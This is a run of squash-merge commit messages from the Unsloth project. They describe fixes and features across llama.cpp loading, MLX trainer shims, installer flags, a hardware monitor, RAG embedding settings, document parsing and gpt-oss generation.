load_progress() derived its fraction purely from the llama-server's VmRSS over the GGUF shard total. With layers offloaded to VRAM (-ngl) the process releases the mmap'd weight pages after upload, so VmRSS sinks back well below the shard total: the fraction climbs toward ~1.0 during mmap, then collapses to a small value (~8%) once the weights are on the GPU. A fraction-driven progress bar therefore restarts and sticks there indefinitely even though the model is loaded and serving, which reads as a hang at "Starting model...".
Once the server is healthy the load is complete by definition, so report
fraction 1.0 (and bytes_loaded == bytes_total) in the ready phase regardless of resident set size. The VmRSS read is factored into _read_rss_bytes() with its original semantics preserved (0 on a missing VmRSS line, None when /proc is unavailable) so it can be unit-tested off Linux.
Fixes#5740
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* stub heavy deps in the load-progress test and guard a valueless VmRSS
Two review fixes:
1. The new test imported core.inference.llama_cpp at module top, which pulls in
loggers/structlog/httpx and fails collection with ModuleNotFoundError in the
lightweight backend test env when the file is run on its own. Stub loggers,
structlog and httpx via sys.modules.setdefault before the import, mirroring
test_llama_cpp_load_progress_matrix.py; setdefault keeps the real modules when installed. Verified the file now collects and passes with only pytest present.
2. Catch IndexError in _read_rss_bytes: a "VmRSS:" line with no value column
would make line.split()[1] raise and crash a load-progress poll. Return None
instead, with a test for the valueless line.
* Hold load-progress high-water mark and explain a never-healthy load (#5740)
load_progress() now holds a per-process VmRSS high-water mark, so the bar
no longer regresses to ~8% when -ngl offloads the weights and frees the
mmap pages mid-load.
A live server that never returns 200 on /health now gets a specific error
(context/VRAM too large, or a local proxy/VPN intercepting the loopback
probe) instead of the generic invalid-GGUF/out-of-memory message.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Hakan Baysal <hakan.baysal@trmix.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* feat: add mlx public trainer api
* test: cover mlx public trainer api
* fix: preserve mlx epoch trainer configs
* fix: pass mlx warmup ratio through config
* fix: align mlx trainer dataset order
* fix: keep mlx chat templates import-light
* fix: infer mlx trainer context length
* fix: mirror cuda mlx context defaults
* fix: align mlx notebook trainer defaults
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: keep mlx public helpers import-light
* refactor: reuse mlx optimizer normalization
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: address mlx review feedback
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: tighten mlx training argument parity
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: align mlx trainer eos default
* Fix MLX trainer to accept DataCollatorForSeq2Seq and handle TokenizerWrapper in get_chat_template
* Trim redundant docstrings on internal MLX helpers
* MLX review fixes: Studio optimizer import-safe on non-MLX hosts, preserve explicit max_length, skip MLX tests before import
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* MLX review round 2: defer max_length to model context, optimizer alias fallback for older zoo, skip non-MLX test on missing GPU deps
* MLX review round 3: keep chat_templates importable without torch on MLX
* fix: preserve MLX trainer notebook shims
* fix: ignore CUDA tokenizer moves on MLX
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: harden MLX trainer shims
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: unwrap MLX scheduler enum args
* fix: coerce integral MLX epoch counts
* fix: spoof CUDA compatibility APIs on MLX
* fix: harden MLX notebook compatibility shims
* MLX: add torch.cuda.mem_get_info to the compatibility shim
Notebook memory cells call torch.cuda.mem_get_info()[0] directly (not gated by
is_available), so on MLX it raises without a shim. Return (free, total) bytes
from the MLX device stats, consistent with the other torch.cuda compat helpers,
and add a matching assertion to the compat-API test.
* MLX: use active memory for mem_get_info; fix BatchEncoding.to keyword device
Address review on the MLX compatibility shim:
- torch.cuda.mem_get_info() now derives free bytes from current active MLX
memory instead of the peak high-water mark, so a capacity check stays
accurate after a transient spike or a prior run.
- BatchEncoding.to(device=...) passed by keyword no longer forwards a positional
None alongside the keyword (which raised "multiple values for 'device'"), so
non-CUDA keyword moves like .to(device="cpu") delegate correctly.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* MLX: accept preserve_dataset_order; stub RL trainers with a clear error
Two fixes so unmigrated notebooks behave predictably on MLX (torch present):
- preserve_dataset_order is a real MLXTrainingConfig field but was missing from
the extra-argument allowlist, so passing it (as a config or trainer kwarg)
could be rejected as unknown on a zoo without the field. Add it to
_MLX_IMPLEMENTED_EXTRA_ARGUMENTS so the documented no-shuffle path is reachable.
- GRPO/DPO/ORPO (and KTO/PPO/Reward) have no MLX trainer yet. Retarget the ones
the installed trl exposes to a stub that raises a clear 'not supported on MLX'
error instead of importing the real torch/CUDA trainer and crashing deep
inside it. Only existing trainers are retargeted (no invented attributes),
idempotent across re-imports.
* MLX: make RL-trainer stubbing import-safe; back current-memory APIs with active memory
Address review on the MLX shims:
- The RL-trainer stub loop probed trl with getattr(_trl, name), which triggers
trl's lazy trainer import and pulls torch -- that can crash import unsloth on a
torch-free MLX install just to check existence. Decide what to stub from
trl.__all__ + already-materialized attrs (vars) instead; never resolve the real
trainer. All trl trainer names are in __all__, so they are still stubbed (even
torch-free), and the probe no longer imports torch.
- torch.cuda.memory_reserved / memory_allocated (the current, non-max APIs) were
aliased to peak max_memory_reserved. Back them with current active MLX memory so
cleanup / capacity checks see live usage; max_* keep the peak high-water mark.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* MLX: keep TRL's SFTConfig epoch default under the trl.SFTConfig alias
Unmigrated notebooks import SFTConfig from trl, which the MLX build aliases to
the public training-args class. TRL/HF SFTConfig defaults to num_train_epochs=3
(max_steps=-1); the native MLX config defaults to max_steps=60. So an SFTConfig
built without an explicit length silently ran 60 MLX steps instead of TRL's 3
epochs under the alias. Alias trl.SFTConfig to a thin subclass that seeds the
TRL epoch default only when neither max_steps nor num_train_epochs is given;
explicit lengths pass through untouched, and the native public args class keeps
its MLX default. Epoch mode is supported by the MLX trainer.
* MLX CI: keep the GGUF reload smoke under the job timeout
The RELOAD-GGUF-via-llama-cli step timed out at 300s. BF16 GGUF decode is
CPU-bound on the macOS runner (~10s+/token), so generating 24 tokens landed
right on the 300s cliff and killed the process. This step is a save/reload
integrity smoke (it only needs a few chars of output), so the token count is
incidental: generate 8 tokens with explicit threads and a small headroom on the
subprocess timeout, all env-tunable (UNSLOTH_GGUF_RELOAD_N / _THREADS /
_TIMEOUT). Cuts the reload well under the 25 minute job budget.
* MLX: broaden trainer stubs, real peak-memory reset, fix shim tests
Address review on the MLX public API:
- The SFTConfig identity tests asserted trl.SFTConfig is UnslothTrainingArguments,
but the alias now points at the _MLXSFTConfig subclass that preserves TRL's
epoch default, so the MLX suite failed before testing the shim. Assert
issubclass instead.
- torch.cuda.reset_peak_memory_stats was a no-op, so max_memory_reserved kept
earlier model-load peaks across a scoped run. Wire it to mx.reset_peak_memory
with the same core/metal fallback used for the reads.
- The unsupported-trainer stubs were a fixed list, so trainers outside it (a
newer RLOOTrainer) still routed to the real torch trainer. Derive the set from
trl.__all__ (every non-SFT *Trainer) so all non-SFT surfaces fail with a clear
MLX message; names come from __all__ so trl is never resolved.
- The non-MLX export smoke skipped only on missing bitsandbytes/triton; other
absent GPU deps (numpy/torch/unsloth-zoo, or _gpu_init re-raising ImportError)
made it fail on CPU hosts. Skip on any ImportError.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: keep MLX notebook compatibility minimal
* MLX CI: force CPU + small context for the GGUF reload smoke
The RELOAD-GGUF-via-llama-cli step timed out even at 8 tokens (>420s), so it is a
fixed hang, not per-token cost: on the paravirtual macOS runner GPU llama.cpp's
Metal backend stalls, and the gemma3 GGUF advertises a 32768 context that llama-cli
would otherwise fully allocate. Run llama-cli CPU-only (-ngl 0) with a small context
(-c 256); keep generation short. All env-tunable (UNSLOTH_GGUF_RELOAD_NGL / _CTX /
_N / _THREADS / _TIMEOUT). Also print llama.cpp's partial stdout/stderr on timeout so
a future hang is diagnosable instead of an opaque TimeoutExpired.
* MLX CI: export the reload-smoke GGUF as q8_0, not bf16
The GGUF reload via llama-cli timed out on the runner even CPU-only with a tiny
context and 8 tokens. Root cause is the format, not the flags: the smoke exported
quantization_method='not_quantized', which maps to a bf16 GGUF, and llama.cpp's
bf16 CPU decode is unusably slow on the paravirtual macOS runner. Export q8_0
(fast_quantized, the exporter default and what users deploy) instead -- llama.cpp
has optimized q8_0 CPU kernels, so the fresh-process reload loads and generates in
seconds. The reload stays CPU-only (-ngl 0) with a small context.
* test: clear TRL shim before availability check
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
* Add --with-llama-cpp-dir flag to install.ps1 and install.sh
Users can now pass --with-llama-cpp-dir /path/to/llama.cpp to the
installer to skip downloading or building llama.cpp and use a local
directory instead. A junction (Windows) or symlink (Linux/macOS) is
created at the canonical install location, bypassing both the prebuilt
download (Phase 3) and source build (Phase 4) steps in setup.ps1/setup.sh.
The path is passed via UNSLOTH_LOCAL_LLAMA_CPP_DIR env var which
setup.ps1 and setup.sh read directly.
Ported from the idea in unslothai/unsloth#4384, reimplemented against
current Studio architecture.
* test: add static wiring test for --with-llama-cpp-dir flag
Cross-checks install.sh, install.ps1, studio/setup.sh and studio/setup.ps1
so the flag's contract (parse -> UNSLOTH_LOCAL_LLAMA_CPP_DIR env var -> link
local dir, skip prebuilt download and source build) can't silently regress.
Wired into studio-backend-ci.yml alongside the other tests/sh installer tests.
* Address review feedback on --with-llama-cpp-dir flag
- setup.ps1: delete an existing junction/symlink via DirectoryInfo.Delete()
instead of a recursive remove, which can traverse the link and wipe the
user's real llama.cpp directory on PowerShell 5.1.
- setup.ps1: short-circuit the build chain when a local dir is linked so CMake
never runs inside the user's checkout when it lacks a Windows-layout binary.
- install.sh / setup.sh: resolve paths with CDPATH= cd -P so a set CDPATH
cannot corrupt the resolved path.
- install.sh: seed _WITH_LLAMA_CPP_DIR from UNSLOTH_LOCAL_LLAMA_CPP_DIR so an
exported env var (piped-install style) is honored instead of being clobbered.
- setup.sh: create the root llama-quantize shim when linking a local source
build so GGUF export's check_llama_cpp() still finds it.
- setup.sh / setup.ps1: drop a stale link before the custom-home ownership
assert so re-runs with the flag stay idempotent.
- test: pin the new linked-dir build short-circuit.
* Harden --with-llama-cpp-dir against Codex/Gemini review findings
- install.sh: error when --with-llama-cpp-dir is the final arg with no path,
matching the existing --package/--python post-loop guards (was a silent
fallback to the normal prebuilt/source install).
- studio/setup.sh: canonicalize LLAMA_CPP_DIR before the self-link no-op
compare. _RESOLVED_LOCAL is fully resolved while LLAMA_CPP_DIR was textual,
so a symlinked $HOME made the guard miss and the rm -rf could wipe the
user's real llama.cpp tree.
- studio/setup.sh: make the llama-quantize shim non-fatal; it writes through
the link into the user's tree, which may be read-only (shared/CI cache),
and under set -e a failed ln aborted an otherwise-good reuse.
- studio/setup.ps1: detect a broken junction via Get-Item -Force instead of
Test-Path so a dangling link from a prior run is removed and mklink can
relink to a new valid directory.
- studio/setup.ps1: use Copy-Item -LiteralPath so a source path containing
[ ] isn't treated as a wildcard in the junction copy fallback.
- tests: update the wiring assertions for the LiteralPath copy and the
canonicalized compare.
* Validate/reuse local llama.cpp tree and guard the in-use case
Addresses the second Codex pass on the --with-llama-cpp-dir flag:
- Validate the linked tree before disabling installs (setup.sh + setup.ps1):
reusing a local dir skips BOTH the prebuilt download and the source build,
so the dir must already contain a runnable llama-server (build/bin on
Linux/macOS, build\bin\Release\llama-server.exe on Windows). Bail out with a
clear message instead of linking an unbuilt/wrong-platform checkout and
leaving Studio with no usable binary.
- Treat a canonical-path target as already linked when it holds a build
(setup.sh + setup.ps1): point the flag at ~/.unsloth/llama.cpp itself and an
existing build is reused (skip prebuilt + source) rather than clobbered by
the staged prebuilt installer (which uses os.replace()/replace). An empty
canonical dir still falls through to the normal in-place install.
- Abort when an in-use llama.cpp can't be removed on Windows (setup.ps1):
Remove-Item -ErrorAction SilentlyContinue can silently leave a locked tree
in place; detect that and stop with the same active-process message + exit 3
the prebuilt path uses, instead of junctioning over a half-present dir.
Left as follow-up (already tracked by the PR author as a non-blocker): the
in-app "Update llama.cpp" updater does not yet recognize a local-link install
as externally managed; that fix belongs in studio/backend/utils/llama_cpp_update.py.
* Accept all backend llama-server layouts in --with-llama-cpp-dir validation
The linked-tree validation only accepted build/bin[/Release]/llama-server, but
LlamaCppBackend._layout_candidates() resolves a root-level llama-server first,
then build/bin, then build/bin/Release on Windows. A `make` build or a flat
release extract (binary at the dir root) was therefore rejected with a hard
installer failure even though Studio would have run it.
Validate the same candidate set the backend uses in both setup scripts, and add
wiring-test assertions so the check can't silently narrow again.
* Treat --with-llama-cpp-dir local links as externally managed
A --with-llama-cpp-dir install junctions/symlinks the canonical llama.cpp dir to
the user's own checkout, but two backend paths still treated it as a Studio-owned
tree:
- The in-app updater (llama_cpp_update) offered and could apply an official
prebuilt over the link, writing through it into the user's checkout (or
failing) and silently dropping the link the flag created.
- Orphan cleanup (LlamaCppBackend._kill_orphaned_servers) resolved the linked
root into its kill allowlist, so a llama-server the user launched from the same
checkout was classified as ours and killed on startup.
Detect the canonical dir being a symlink/junction (reparse point) and treat the
install as unmanaged: get_update_status reports unsupported, start_update refuses
with reason "local_link", and the linked root is left out of the orphan
allowlist. Adds behavioral tests (link vs plain dir, updater refusal, and the
spared-vs-killed orphan control).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add behavioral shell test for --with-llama-cpp-dir linking
The existing tests/sh/test_with_llama_cpp_dir_flag.sh is a static grep of the
scripts. This adds a behavioral test that extracts the real link block from
studio/setup.sh (by content anchors, with a self-validating extraction) and runs
it against hermetic fake dirs, asserting the outcomes that matter:
- an external CMake build links and arms neither the prebuilt download nor the
source build
- a flat / make tree (root-level llama-server, no build/bin) is accepted too
- an unbuilt tree is rejected with a non-zero exit and no link left behind
- relinking over a stale link preserves the target's contents (no data loss)
- pointing at the canonical path is a no-op reuse, not a self-referential link
Symlink-identity checks run only where real symlinks exist (skipped on Windows
git-bash copy-mode); the link/skip/no-data-loss checks run everywhere. Wired into
studio-backend-ci.yml next to the static test.
* Install psutil in backend CI so orphan-cleanup tests run
The new orphan-cleanup tests import psutil for the process scan, but the Backend
CI deps step installed studio.txt plus a fixed extras list that omits it, so the
two tests failed with ModuleNotFoundError. Add psutil to both backend pytest dep
steps (kept in shared shape), and guard the import with pytest.importorskip so a
minimal env without psutil skips these tests instead of erroring.
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* feat: Implementation of the Portuguese (Brazil) language and VRAM/RAM monitor.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update studio/frontend/src/hooks/use-gpu-utilization.ts
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/backend/main.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/backend/main.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update studio/backend/utils/hardware/hardware.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/backend/utils/hardware/hardware.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update studio/frontend/src/features/settings/components/usage-examples.tsx
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update studio/backend/main.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/backend/utils/hardware/hardware.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/frontend/src/features/studio/sections/progress-section.tsx
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* fix: resolve automated review feedback on API shape
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix review issues for PR #6509: Cpu icon, VRAM percent, system polling
- model-inspector: use the exported CpuIcon (Cpu is not a Hugeicons export)
- app-sidebar: guard the VRAM percent on totalVram to avoid Infinity, and
reset the system poll cache only after each request settles so a slow probe
is reused instead of stacking overlapping requests
- use-gpu-info: populate CPU/RAM on hosts without a GPU
- progress-section: label GPUs by visible_ordinal instead of array index
- hub-page: base the RAM label on systemRamTotalGb
- usage-examples: emit JS sampling and tool options at the top level instead
of nesting them under extra_body (the JS SDK does not unwrap extra_body)
- main: read torch and transformers versions from package metadata instead of
importing the libraries on every system poll, and guard the VRAM math
against null values
- hardware: translate a leftover comment to English
* Harden /api/system: guard psutil.boot_time for PR #6509
Simulating restricted containers and some VMs (where psutil.boot_time can raise)
showed the /api/system endpoint would 500 on the unguarded boot_time call, the
same failure class already handled for cpu_freq, disk_usage, and Process. Wrap
boot_time and return uptime_seconds as null when it is unavailable so the sidebar
monitor degrades gracefully instead of breaking. Widen the uptime_seconds type to
number | null to match.
* Studio: make the sidebar hardware monitor a toggle (default on) for PR #6509
Adds a "Show hardware monitor" switch under Settings > Appearance > Layout,
backed by a localStorage preference (default on), mirroring the existing
useSidebarPin pattern. When turned off, the sidebar hides the VRAM/RAM meters
and useSystemInfo stops the 3s /api/system poll entirely, so no nvidia-smi /
SMI probes run while the monitor is disabled. Adds the en and pt-BR strings.
* Studio: default the sidebar hardware monitor to off (opt-in) for PR #6509
* Studio pt-BR: fix three small translation defects for PR #6509
- learningRateDescription: "5e-5 for CPT" -> "5e-5 para CPT" (leftover English)
- exportScopeRecents: "Recents" -> "Recentes" (untranslated)
- relativeMonthsAgo/relativeYearsAgo: add the missing space ("há {count} meses"/
"há {count} anos") so they no longer render as "há 3meses"
* Studio pt-BR: translate the last 10 fallback keys for PR #6509
Adds the settings.general.storage block (Armazenamento) and the
settings.chat.modelDisclaimer pair, so pt-BR now covers all en keys
(679/679) with no English fallbacks.
* Studio: hide sidebar VRAM row on CPU-only hosts for PR #6509
* Studio: tighten and trim code comments for PR #6509
* fix: UI issue in the stop button dialog box (fine-tuning)
* Studio pt-BR: translate 18 new keys from main merge (password dialog, GGUF export, dataset streaming) for PR #6509
* Rounding to GB
* Fix/adjust System resources tab for PR #6509
* Fix/adjust GPU monitor review items for PR #6509
* Fix/adjust remaining GPU monitor review items for PR #6509
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix/adjust MLX resource fallback for PR #6509
* floating window implementation
* resize for floating window
* Fix resource monitor review items
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restore frontend optional dependency lock entries
* Make GPU selection tests hermetic
* Fix GPU monitor CI test failures
* Bound MLX GGUF reload smoke
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix MLX GGUF reload smoke exit
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
* Studio: self-heal a pre-#6483-fix anyio>=4.14 stuck in existing installs
The <4.14 cap in constraints.txt/no-torch-runtime.txt only constrains new
anyio resolutions. An install made before that cap existed can already be
sitting on anyio 4.14+, and since it already satisfies mcp/fastmcp's
anyio>=4.5 floor, every later constrained install skips it as
already-satisfied -- so affected installs never recover and keep hitting
the cancel-scope RuntimeError on every request (#6797, a recurrence of
#6483). Force-reinstall anyio<4.14 whenever a stuck 4.14+ is detected.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: also repair anyio on the update fast path
setup.sh's _SKIP_PYTHON_DEPS and setup.ps1's $SkipPythonDeps skip
install_python_stack.py entirely once the installed package version already
matches PyPI latest, so an install stuck on anyio>=4.14 with an otherwise
up-to-date package never reaches the repair added in install_python_stack.py.
Probe anyio on that fast path too and fall through to the full dependency
pass when it's still >=4.14, mirroring the existing ROCm/CPU-torch override
right below it.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Add customizable RAG embedding model setting and reorganize settings tabs
Chat with files, project sources, and knowledge bases previously always
embedded with unsloth/bge-small-en-v1.5. This adds a Settings option to
pick any Hugging Face embedding model (or local path), with HF search
autocomplete, server-side verification that the repo is actually an
embedding model, and a save anyway escape hatch for offline or local
models. The setting persists in app_settings and applies at runtime to
both the sentence-transformers and llama-server GGUF embedder backends
without a restart.
Also reorganizes the General settings tab: Documents & RAG sits above
Uploads, Helper LLM moved above the danger zone, and Model auto-switch
(OpenAI API) moved to the bottom of the API tab.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Support local model paths on the GGUF embedder and normalize default saves
Found by simulation testing of the embedding model setting:
Local paths saved as the embedding model now work on the llama-server
GGUF backend (the default backend on macOS and CPU). A path to a .gguf
file is used directly and a directory is scanned for a variant-matching
non-mmproj .gguf, with a clear error when none exists. Previously a
local path was sent to the HF hub API and failed with a repo lookup
error.
Saving the default model explicitly no longer stores an override, so
is_custom stays false and the UI does not show a reset button for the
default value.
* Address review: stale-vector handling, GGUF derivation, save-time guards
Review follow-ups, each verified by new tests:
Re-uploading a document after an embedding model change now re-indexes
instead of deduping by content hash. Documents record the embedder that
produced their vectors (lazy embedding_model column, NULL legacy rows
keep deduping) and a mismatch replaces the old document.
A vector width change no longer bricks the dense index. ensure_vec
drops and recreates chunks_vec when the dim changes (old vectors are in
a foreign space and only block inserts) and search_dense returns empty
on a width mismatch instead of surfacing a vec0 error, so lexical
search keeps working until documents are re-uploaded.
Saving a local sentence-transformers folder with no .gguf now returns
409 with a clear message when the install embeds via llama-server,
instead of failing at first index. force still saves.
A custom RAG_EMBEDDING_MODEL env without RAG_EMBED_GGUF_REPO now
derives the -GGUF companion repo instead of silently keeping the bge
GGUF on CPU and macOS installs.
The resolved GGUF path is tagged with the repo captured at entry, so a
setting change during a download cannot mark the old model as current.
GGUF repo detection matches gguf as a whole name segment rather than a
substring, hf_token is trimmed before verification, and the settings
combobox drops a redundant state mirror of its controlled value.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Shrink embedding model font to 11px in the input and dropdown
The combobox wrapper applies className to the outer input group, so the
size utility must target the inner input element; the previous text-xs
never reached it and the field rendered at the browser default.
* Show curated unsloth embedding models when the search field is empty
The empty-query listing was the global top-downloads page, which holds
no unsloth mirrors for the unsloth-first float to reorder, so the
dropdown opened on third-party models. Match the model picker: curated
unsloth listing when empty, whole-Hub search once a query is typed.
* Address review: settings resilience and index consistency
Keep the last known embedding model on settings store errors, remove the
re-entrant dim lock in the llama-server backend, accept local GGUF saves
and verify GGUF availability for HF repos on that backend, match local
path embedders exactly in model list filters, drop same-width stale
vectors from dense search, pin the embedder per ingestion job, and only
replace completed documents after the re-index succeeds.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Consolidate the GGUF repo derivation tests
* Trim to a single core embedding-model test
* Address review: GGUF repo saves and cache race
Accept a GGUF-named HF repo on the llama-server backend by verifying GGUF
availability instead of the sentence-transformers metadata gate, and guard
the settings cache with a generation counter so a read overlapping a save
cannot repopulate it with the pre-save value.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio RAG: fix RTL/Indic PDF corruption and dropped DOCX tables
The RAG parser prefers pymupdf4llm.to_markdown for PDFs, but that rebuilds text from
positioned glyphs and mangles complex-shaping scripts (RTL Arabic/Hebrew come back as
shaped Presentation Forms, Indic matras drop to U+FFFD) and can silently drop most of a
heavy-RTL page. _pdf now compares the Markdown against PyMuPDF's logical-order
get_text() per page and falls back to it when the Markdown looks corrupted (shaped
Presentation Forms or U+FFFD above a small floor/ratio) or holds far fewer letters than
the raw layer. Latin PDFs are unaffected and keep their Markdown tables/headings.
_docx walked document.paragraphs, which excludes table cells, so DOCX tables were
dropped entirely. It now walks body content in document order via iter_inner_content,
emitting each table row as pipe-joined cells (deduped across merged cells); the preview
locator already anchors on pipes.
Adds parser tests for the corruption and incompleteness fallbacks and for DOCX table
extraction. These mirror the chat document-extractor guard raised in the unslothai/
unsloth#5351 review; the RAG parser is a separate module and needed its own fix.
* RAG DOCX: keep empty table cells and collapse in-cell newlines
Skipping empty cells shifted later cells left and broke column alignment across rows;
a cell with internal paragraphs (newlines) also broke the pipe-joined row. Keep every
cell (dropping the row only when all are empty) and normalize each cell with
" ".join(split()) so multi-paragraph cells stay on one row. Adds a test for both.
* RAG DOCX: dedup merged table cells on the <w:tc> element directly
Store the shared <w:tc> lxml element in the seen set instead of its id(); it is
hashable and compares by the underlying node, so it dedups spanned/merged cells the
same way without relying on id(). Adds a merged-cell test.
* RAG DOCX: align merged cells, pad skipped grid columns, flatten nested tables
* RAG DOCX: walk cells in document order so nested tables keep in-cell position
* RAG DOCX: dedup vertically merged cells so a spanning label is indexed once
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Add a shared fits-on-device filter to the model selects
The chat model selector gains an Only show models that fit on this
device tick under its filter row, and the Hub page gains a matching
Fits device pill next to the sort menu. Both read one persisted
preference (unsloth_models_fit_on_device_only), so toggling either
applies to both.
The filter reuses the Recommended sort's existing fit math, extracted
into hfModelFitsDevice: size from safetensors metadata, GGUF param
count, or the repo name, against the 0.7 GPU + 0.7 RAM budget, with
unsizable models hidden. In the chat selector it extends the fit
filtering to the Trending and Recent sorts and to search results;
downloaded models stay visible regardless. An unknown device budget
keeps everything. The preference is cleared by Reset all local
preferences like the other picker toggles.
* Move the device-fit toggle into the sort dropdowns
* Tighten sort menu footer spacing and shorten the label
* Align the footer checkbox with the option text
* Make the footer checkbox circular with a smaller tick
* Clear menu highlight when the pointer leaves the options
* Address review: fit filter coverage and sizing
Exempt on-disk models from the Hub fit filter, apply it to the feed
trending rows and curated search results, size safetensors and MLX rows
by the quantized load estimate instead of checkpoint bytes, and replace
the native title hint with the app Tooltip.
* Make the whole device-fit row toggle the filter
* Fix gpt-oss offload_embedding and generate() logits_to_keep on fused models
offload_embedding=True moved embed_tokens to CPU but left the input/output device-shuffling forward hooks commented out ('[TODO] Doesn't seem to work!'), so an eager forward/generate with CUDA input_ids hit the CPU embedding and raised a device-mismatch RuntimeError. Re-implement them in a testable helper _install_offload_embedding_hooks that saves the origin device on the module (the pre-hook returns a new tensor, so a device stashed on the original input is lost) and runs the lookup on the embedding weight's CURRENT device. Reading the weight device at call time (not a hard-coded cpu) also handles a non-quantized (bf16) embedding that a later model.to(...) pulls back onto the GPU, which the hard-coded version broke in the opposite direction.
unsloth_base_fast_generate injected logits_to_keep/num_logits_to_keep whenever an inner submodule forward accepted it, but transformers validates generate kwargs against the top-level prepare_inputs_for_generation (plus forward when it takes kwargs). On fused/PEFT-wrapped gpt-oss this raised 'model_kwargs are not used by the model: [logits_to_keep]'. Only inject when the top level would accept it, mirroring transformers _validate_model_kwargs. Behavior is unchanged for every model that works today.
Adds tests/test_offload_embedding_hooks.py and tests/test_generate_kwarg_gate.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gpt-oss offload hooks: store origin device on the tensor, not the shared module
The pre-hook stashed the input device on embed_tokens itself, which races when
concurrent forwards share the module (serving). Ride it on the moved tensor and
read it from the post-hook args instead: stateless and thread-safe.
* Also strip mm_token_type_ids that generate() rejects (Qwen3-VL vision GRPO)
The vision processor (Transformers 5.x path) emits mm_token_type_ids, which
Qwen3-VL's generate() then rejects in _validate_model_kwargs on transformers
4.x, so vision GRPO fails at the first rollout:
ValueError: The following `model_kwargs` are not used by the model:
['mm_token_type_ids']
Unlike logits_to_keep this is an incoming kwarg rather than one we inject, so
drop it in unsloth_base_fast_generate when the top level generate does not
accept it, reusing the same _unsloth_generate_accepts_kwarg gate. Extends the
GPU-free gate test with the accept/reject mm_token_type_ids cases (7/7 pass).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim mm_token_type_ids comment
* Trim comments in gpt-oss offload/logits fix (comment-only)
* gpt-oss offload: return embedding output to the decoder device, not the input's
When offload_embedding moves the embedding to CPU, model.device can become CPU and
inputs then arrive on CPU, so returning the output to the input device left it on CPU
and the CUDA decoder hit a device mismatch. Capture the decoder device before offload
and always return there. This also drops the per-request tensor state (stateless, so
concurrent forwards stay correct).
